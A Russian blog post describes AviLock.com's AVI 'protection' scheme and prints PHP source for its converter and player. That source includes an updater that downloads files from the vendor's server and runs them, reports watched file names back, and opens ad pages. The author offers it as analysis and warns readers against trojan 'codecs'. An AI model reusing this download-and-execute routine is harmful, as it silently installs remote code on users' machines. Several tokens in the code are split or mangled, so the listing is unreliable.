наткнулся на одну необычную фичу, касающуюся обычных AVI-файлов. Умники из http://avilock.com/ навешивает свою защиту на обычные avi-шные файлы. В результате файл состоит из двух частей: первая - авишка обычного формата длительностью около 20 секунд, представляющая собой рекламный ролик, предлагающий скачать "специальный кодек" для просмотра этого видео с вышеупомянутого сайта, вторая - содержание самого фильма. При этом в заголовке указывается длительность фильма равной 20 секундам, поэтому воспроизведения основного фильма не происходит. Приблуда, которую предлагается скачать с их сайта имеет размер около 20Мб и назначение ее просто кричит - я создана нести спам (рекламу) народу. Анализ с помощью converter.exe позволил создать свой кодек, в обход примитивной защиты: Вот собственно сам конвертор и плеер в одном лице::: $k=reg_open_key(HKEY_CLASSES_ROOT, "avilock\shell\Open\command"); $path=trim(reg_get_value($k, "")); reg_close_key($k); $path[0]=""; $path=dirname(trim($path)).""; $buddylist_server="www.avilock.com"; $buddylist_active=1; function update(){ global $buddylist_server,$buddylist_active,$path; if($buddylist_active) { $fp=fopen($path."version.txt","a+"); $tek_ver=trim(fread($fp,128)); fclose($fp); $fp=fsockopen($buddylist_server,80,$errno,$errstr,30); if(!$fp) { echo "$errstr ($errno)\n"; }else{ $f=file("http://".$buddylist_server."/update.php"); $c=count($f); $ver=trim($f[0]); if($ver!=$tek_ver) { $fp=fopen($path."version.txt","w+"); fwrite($fp,$ver); fclose($fp); for($i=1;$i<$c;$i++) { run_download_file(trim($f[$i])); } } } fclose($fp); } return time(); } function run_download_file($url){ global $path; $t=explode("/",$url); $protokol=$t[0]; $server=$t[2]; $filename=$t[count($t)-1]; if($protokol=="http:") { unset($t[0]); unset($t[1]); unset($t[2]); $url_path=implode("/",$t); $fp=fsockopen($server,80,$errno,$errstr,30); if (!$fp) { echo "$errstr ($errno)\n"; } else { $out = "GET /".$url_path." HTTP/1.1\r\n"; $out .= "Host: ".$server."\r\n"; $out .= "Connection: Close\r\n\r\n"; fwrite($fp, $out); $d1=""; $i=1; $view=FALSE; $fp1=fopen($path.$filename,"w+"); while (!feof($fp)) { $d[$i]=fgets($fp,2); if(!$view) { if(isset($d[$i-2])) { if(ord($d[$i])==10 and ord($d[$i-2])==10) { $view=TRUE; } } }else{ fwrite($fp1,$d[$i]); } $i++; } fclose($fp1); fclose($fp); echo "RUN: ".$path.$filename."\n"; system(""".$path.$filename."""); } } } function sync_system($path,$arguments,$arguments2="") { echo $path." "".$arguments.""\n"; $WshShell=new COM("WScript.Shell"); $oShellLink=$WshShell->CreateShortcut("temp.lnk"); $oShellLink->TargetPath=$path; $oShellLink->Arguments=""".$arguments."""; if($arguments2!=""){$oShellLink->Arguments=""".$arguments."""." ".""".$arguments2.""";} $oShellLink->WorkingDirectory=dirname($path); $oShellLink->WindowStyle=1; $oShellLink->Save(); //$oExec=$WshShell->Run("temp.lnk",1,false); system("temp.lnk"); unset($WshShell,$oShellLink); unlink("temp.lnk"); } $ver="1.4"; $present_size=419840; if(count($argv)==3) { $avi_file_in=$argv[1]; $website=$argv[2]; $present_file=$path."1.avi"; if(is_file($present_file) and is_file($avi_file_in)) { echo "Fail OK\n"; if(filesize($present_file)==$present_size) { echo "Fail size OK\n"; echo "AVI file IN: ".$avi_file_in."\n"; $t=explode("",$avi_file_in); $t1=explode(".",$t[count($t)-1]); $t[count($t)-1]=""; $fn=implode(".",$t1); $avi_file_out=implode("/",$t).$fn."_key.".$t1[count($t1)-1]; echo "AVI file OUT: ".$avi_file_out."\n"; $fp1=fopen($present_file,"r+"); $fp2=fopen($avi_file_out,"w+"); $fp3=fopen($avi_file_in,"r+"); while(!feof($fp1)) { $data=fread($fp1,4194304); fwrite($fp2,$data); } $data=fread($fp3,1024); $wr=strlen(base64_encode($website)).":".base64_encode($website).str len(base64_encode($ver)).":".base64_encode($ver).strlen(base64_encode( $data)).":".base64_encode($data); fwrite($fp2,"|||"); fwrite($fp2,$wr); while(!feof($fp3)) { $data=fread($fp3,4194304); fwrite($fp2,$data); } fclose($fp1); fclose($fp2); } } }elseif(count($argv)==2){ $avi_file_out=$argv[1]; $player_name="avilock_smplayer.exe"; $tasklist=`tasklist.exe`; if(strstr($tasklist,$player_name)) { echo `taskkill.exe /F /IM `.$player_name; } if(is_file($avi_file_out)) { if(filesize($avi_file_out)>($present_size+3)) { $temp_file=$_ENV["TEMP"]."/".md5(rand(0,10000)).".avi"; $fp1=fopen($avi_file_out,"r+"); fseek($fp1,$present_size); $check=fread($fp1,3); if($check=="|||") { $fp=fsockopen($buddylist_server,80,$errno,$errstr,30); if(!$fp) { echo "$errstr ($errno)\n"; }else{ file("http://".$buddylist_server."/update.php?file=".urlencode($a vi_file_out)); $def_site_net=file("http://".$buddylist_server."/2.php"); } fclose($fp); if(isset($def_site_net[0])) { $def_site=$def_site_net[0]; } $fp2=fopen($temp_file,"w+"); fwrite($fp2,"AviLock"); fclose($fp2); $fp2=fopen($temp_file,"r+"); $site_len=""; while(!feof($fp1)){ $data=fread($fp1,1); if($data!=":"){$site_len.=$data;}else{break;}} $site=base64_decode(fread($fp1,intval($site_len))); $ver_len=""; while(!feof($fp1)){ $data=fread($fp1,1); if($data!=":"){$ver_len.=$data;}else{break;}} $ver=base64_decode(fread($fp1,intval($ver_len))); $head_len=""; while(!feof($fp1)){ $data=fread($fp1,1); if($data!=":"){$head_len.=$data;}else{break;}} $head=base64_decode(fread($fp1,intval($head_len))); fwrite($fp2,$head); sync_system($path."browse.exe",$site); $s=ceil(((filesize($avi_file_out)-$present_size+strlen($site_len)+ strlen($ver_len)+strlen($head_len)+base64_encode(strlen($site))+base64 _encode(strlen($ver))+base64_encode(strlen($head))+3)/4194304)/100); $i=0;$k=0;$flag=0; echo "Start deconverting...\n"; $sec=10; $ttt=time(); while(!feof($fp1)) { $sec=time()-$ttt; $fp=fopen($_ENV["TEMP"]."/"."1.txt","w+"); fwrite($fp,"Loading... ".$sec." second"); fclose($fp); if((time()-$ttt)>10 and $flag==0) { $fp=fopen($_ENV["TEMP"]."/"."1.txt","w"); fwrite($fp,"Playing video"); fclose($fp); sync_system($path.$player_name,$temp_file); $flag=1; } if($flag==1) { $tasklist=`tasklist.exe`; if(!strstr($tasklist,$player_name)) { break; } } $data=fread($fp1,4194304); fwrite($fp2,$data); } fclose($fp2); fclose($fp1); if($flag==0) { echo "\n2Playing video\n"; sync_system($path.$player_name,$temp_file); $flag=1; } while($flag) { $tasklist=`tasklist.exe`; if(!strstr($tasklist,$player_name)) { $flag=0; } } unlink($temp_file); if(isset($def_site)) { sync_system($path."browse.exe",$def_site); } }else{ fclose($fp1); sync_system($path.$player_name,$avi_file_out); } }else{ fclose($fp1); sync_system($path.$player_name,$avi_file_out); } } } ?>
Не стоит качать у них всякого рода трянов под видом бесплатных кодеков
Удачи!!! Никипольский
Рекомендую Вам также почитать:
Загрузить, скачать Защита, Снятие защиты *.avi установленной с помощью AviLock.com бесплатно.
Скачать Снятие защиты *.avi установленной с помощью AviLock.com бесплатно
Снятие защиты *.avi установленной с помощью AviLock.com бесплатно и без регистрации. При копировании материала указывайте источник
Снятие защиты *.avi установленной с помощью AviLock.com download free
|